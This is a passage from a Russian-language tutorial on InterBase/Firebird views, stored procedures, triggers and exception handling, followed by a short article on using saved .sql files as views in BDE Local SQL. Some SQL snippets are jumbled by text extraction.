PRICE) AS /*само «тело» вида*/ select a.name, c.name, c.price from firm a, sale b, tovar c where b.firmkod=a.firmid and b.tovarkod=c.tovarid ; /*могут быть и другие условия*/ В результате выполнения данного скрипта в базе данных появится новый объект - V_SKLAD. Учтите, что условие сортировки order by не прокатит, его надо реализовывать при обращении к виду. Обращаться к нему – можно так же, как и к таблице, например: select * from
V_SKLAD
select * from
V_SKLAD where price>100 order by price
или Все довольно просто, не правда ли? Однако есть некоторые ограничения. Если попробовать добавить в такую «таблицу» данные – то это у нас не получится. Есть правило – для того, чтобы вид был редактируемым: • •
все столбцы данной таблицы должны позволять наличие NULL. запрос, на котором основано представление, не может содержать подзапросов, агрегатных функций, UDF, хранимых процедур, предложений DISTINCT и HAVING.
О как! И зачем он нам тогда нужен, такой красивый! Расстроились? А как было б хорошо, если можно б было редактировать и другие виды, не удовлетворяющие предыдущим условиям. Но не все так печально, есть способы!
Способ 1: Использовать для доступа к данным IbDataset, ведь свойства InsertSQL, ModifySQL, DeleteSQL не зависят от SelectSQL, и могут содержать запросы, модифицирующие данные совсем в других таблицах. Или использовать один или несколько IbSQL для вставки данных.
Способ 2: Настроить триггеры Before Insert и т.д. для вида, внутри которых будут вызываться соответствующие хранимые процедуры на вставку, изменение и удаление. Так как способ 1, в общем-то, не вызывает вопросов, да и не так интересен с познавательной точки зрения, то рассмотрим способ 2, к тому же мы стремимся перенести бизнес-логику с клиентского приложения на сервер. Но для этого нам нужно сначала рассмотреть возможности хранимых процедур и триггеров.
Stored Procedure(хранимые процедуры) SP – это небольшие программы (относительно небольшие, конечно), написанные на встроенном в сервер БД языке, которые позволяют оперировать данными. Trigger (триггер) – особый вид хранимых процедур, срабатывающий при определенных условиях, как правило, до/после(before/after) вставки/изменения/удаления (insert/update/delete). В InterBase возможно создать более 32000 триггеров каждого вида. С триггерами мы уже сталкивались в самом начале мануала LittleBudda – для заполнения «автоинкременентных» полей. (как таковых в IB/FB их нет, для этого используются генераторы). Базовый скрипт для создания хранимой процедуры: SET TERM ^ ; CREATE PROCEDURE NEW_PROCEDURE AS begin /* Procedure Text */ suspend; end^ SET TERM ; ^ Рассмотрим язык ХП более подробно. Объявим входную, локальную и выходную переменные и скрипт создания будет выглядеть так: SET TERM ^ ; CREATE PROCEDURE MyProc ( IN_PARAM INTEGER) RETURNS ( OUT INTEGER) AS DECLARE VARIABLE N INTEGER; DECLARE VARIABLE I INTEGER; begin n=2; i=0; out=0; while (i<>5) do begin out=out+(n*in_param); i=i+1; end suspend; end^ SET TERM ; ^ где • •
IN_PARAM INTEGER – входной целочисленный параметр процедуры; n – локальная переменная;
•
OUT INTEGER – выходная целочисленная переменная;
Так же видно, что у нас организован цикл, который, в общем-то, очень похож на паскалевский, да и с конструкцией IF...THEN... я думаю сложностей не должно возникнуть. Вызывать эту процедуру можно так: select * from
MyProc(4)
в результате получим - 40. Довольно все просто. Теперь рассмотрим процедуру, возвращающую несколько строк при обработке таблицы: SET TERM ^ ; CREATE PROCEDURE NEW_PROCEDURE ( POROG NUMERIC(15,2)) RETURNS ( NAME1 VARCHAR(20), NAME VARCHAR(20), PRICE NUMERIC(15,2)) AS begin /* Procedure Text */ for select * from v_sklad where v_sklad.price>:porog into :NAME, :NAME1, :PRICE do suspend; end^ SET TERM ; ^ GRANT SELECT ON V_SKLAD TO PROCEDURE NEW_PROCEDURE; Эта процедура возвращает все записи из вида v_sklad , у которых значение price больше некоего порога. Оператор suspend осуществляет последовательный вывод записей. Последняя строчка дает права процедуре для обращения к V_SKLAD. Да, да – процедура тоже может не иметь прав на определенные объекты в БД. Так что с безопасностью все нормально, что бы там не говорили противники IB/FB. Вообще-то, оператора suspend может и не быть, если наша процедура не должна возвращать данных, например процедура вставки или удаления. Сейчас мы напишем такую процедуру, чтобы наш вид стал редактируемым. SET TERM ^ ; CREATE PROCEDURE SP_INS_V_SKLAD ( NAME_TOVAR VARCHAR(100), NAME_FIRM VARCHAR(100), NEW_PRICE INTEGER)
AS DECLARE VARIABLE TMP_FIRM_ID INTEGER; DECLARE VARIABLE TMP_TOVAR_ID INTEGER; begin if ((name_firm is null) or (name_tovar is null)) then exit; if (new_price is null) then new_price=0; select firm.firmid from firm where firm.name=:name_firm into :tmp_firm_id; if (tmp_firm_id is null) then /*такой фирмы нет, вносить надо*/ insert into firm (firm.name) values (:name_firm) returning firmid into :tmp_firm_id; select tovar.tovarid from tovar where tovar.name=:name_tovar into :tmp_tovar_id; if (tmp_tovar_id is null) then /*такого товара нет, вносить надо*/ insert into tovar (name, price) values (:name_tovar,:new_price) returning tovarid into :tmp_tovar_id; insert into sale (firmkod, tovarkod) values (:tmp_firm_id,:tmp_tovar_id); end^ SET TERM ; ^ GRANT SELECT,INSERT ON FIRM TO PROCEDURE SP_INS_V_SKLAD; GRANT SELECT,INSERT ON TOVAR TO PROCEDURE SP_INS_V_SKLAD; GRANT INSERT ON SALE TO PROCEDURE SP_INS_V_SKLAD; и создадим триггер для вида V_SKLAD - before insert: SET TERM ^ ; CREATE TRIGGER V_SKLAD_BI0 FOR V_SKLAD ACTIVE BEFORE INSERT POSITION 0 AS begin /*так вызывается исполняемые процедуры, не возвращающие результат*/ execute procedure sp_ins_v_sklad(new.name,NEW.NAME1,new.price); /*new – приставка для данных – кандидатов, этих записей еще нет в базе*/ end ^ SET TERM ; ^ Теперь наш вид V_SKLAD стал редактируемым. Причем, теперь можно не заботиться о том, откуда редактируются данные, из нашего клиентского приложения или из сторонней программы. Ведь срабатывают механизмы самого сервера. А вот если нечто подобное реализовать в клиентском приложении, то при изменении каких-либо данных в сторонней программе нам пришлось бы отслеживать изменения и связки в 3 таблицах вручную. Но не стоит думать, что на этом - все. Еще раз повторюсь – в IB/FB сокрыто очень много вкусностей. Например – сообщения. Реализуются они до безобразия просто, я сам даже не поверил, когда увидел эту возможность: post_event 'Это работает!'; Останется только настроить приложение на прием этого сообщения. И всё! Никаких лишних телодвижений! Еще одна из нужных и важных возможностей языка хранимых процедур - обработка
исключительных ситуаций. И действительно, куда мы без ошибок? Их не может не быть, и их надо как-то обрабатывать, и подавлять - в том числе. Нет, конечно, сервер скажет нам, если что-то пойдет не так, но в IB/FB можно делать и свои сообщения об исключительных ситуациях. Создаются они так: CREATE EXCEPTION NAME_NOT_FREE 'Наименование не должно состоять из пробелов'; Теперь у нас создался объект-исключение, и его можно использовать в нашей процедуре, добавив вызов: EXCEPTION NAME_NOT_FREE; В проверке на корректность наименования при внесении данных в таблицы FIRM и TOVAR. Теперь мы в своем приложении можем отловить это исключение и корректно его обработать. Однако, существует возможность обрабатывать исключения и на уровне самого сервера конструкцией: WHEN EXCEPTION <Наше исключение> DO BEGIN /*обработка исключения*/ END Встречая исключение – сервер начинает искать вышеприведенную конструкцию в текущем блоке begin ….end и, если не находит, то поднимается выше на уровень, если он есть, конечно, если нет, или не найдена такая конструкция – исключение отправляется приложению, при этом выполнение процедуры прерывается и откатываются все изменения, вызванные этой процедурой. Если обработка найдена, то выполняется она, и управление передается на оператор, следующий за обработкой. Существует также возможность обрабатывать исключения, возникающие в самом сервере, по тем или иным причинам. Конструкция, с помощью которой производится обработка ошибок, такая же, как и для обработки собственных исключений, только вместо EXCEPTION стоит или GDSCODE, или SQLCODE: WHEN GDSCODE/SQLCODE <код_ошибки> DO BEGIN /*обрабатываем ошибку*/ END В зависимости от того, стоит ли в конструкции обработки ошибок GDSCODE или SQLCODE, обрабатываются различные ошибки. Если стоит SQLCODE, то обрабатываются ошибки SQL, а если GDSCODE - то ошибки InterBase. Примером ошибки SQL является ошибка с SQLCODE=-802 "Arithmetic exception, numeric overflow, or string truncation". Примером ошибки InterBase является ошибка isc_bad_dbkey 335544322L "invalid database key". Хочу также заметить, что хранимые процедуры в IB/FB могут быть рекурсивными. Рекурсия поддержывается до 1000 уровней вложенности. Однако не надо увлекаться. Ресурсы сервера – не резиновые. Рекурсия хорошо рассмотрена в книге «Мир Интербейз» на примере построения дерева из таблицы, записи которой ссылаются на другие записи в той же таблице. Копипастить я не буду, чтоб не нарушать авторских прав :) . Всю информацию по языку хранимых процедур можно найти в документации к соответствующим серверам. И напомню, расширение sql для хранимых процедур – это PSQL.
И еще одно – можно, конечно, все вышеперечисленное реализовывать с помощью средств командной строки, однако гораздо удобней пользоваться различными утилитами-оболочками. Я пользуюсь IbExpert, но на самом деле эта программа – не единственная, можно найти и другие инструменты для разработки и администрирования. Продолжение следует….
Copyright: Innok E-Mail: innok@land.ru
Обходимся без представлений Иногда при работе через BDE жизненно необходимо делать запросы вида Select … from Select… или те же view… Нужная, мощная и удобная штука. Но вот незадача - Local SQL не поддерживает ни одну из этих вещей. Однако выход есть (он там же где и вход J ) - использовать возможность BDE работать с запросами, сохраненными в текстовом файле с расширением .sql как с таблицей (представлением). Рассмотрим такой пример (для Paradox): Create tabl ( Id integer not null, Date_time datetime ); Задача – выбрать количество записей за месяц по дням с разбивкой на каждый час. Запрос вида Select count(id), extract(hour from Date_time ), extract(day fromDate_time) from tabl where …. Group by… Не прокатывает, ибо в группировку надо добавлять все неагрегированные поля, а названия их мы не знаем, ведь они формируются динамически. Но можно сохранить запрос вида: Select id, extract(hour from fromDate_time) as days from tabl
Date_time where…
)
as
hours,
extract(day
Сохранить в текстовой файл zapros.sql и положить его в папку базы. И теперь уже можно делать: Select count(id), hours, days from ”zapros.sql” group by
hours, days
Вуаля! Все получилось! Собственно говоря – это практически полная аналогия create view для sql– серверов – и можно организовывать достаточно сложную бизнес логику. Более полное описание можно найти в папке BDE - LocalSQL.hlp
Copyright: Innok E-Mail: innok@land.ru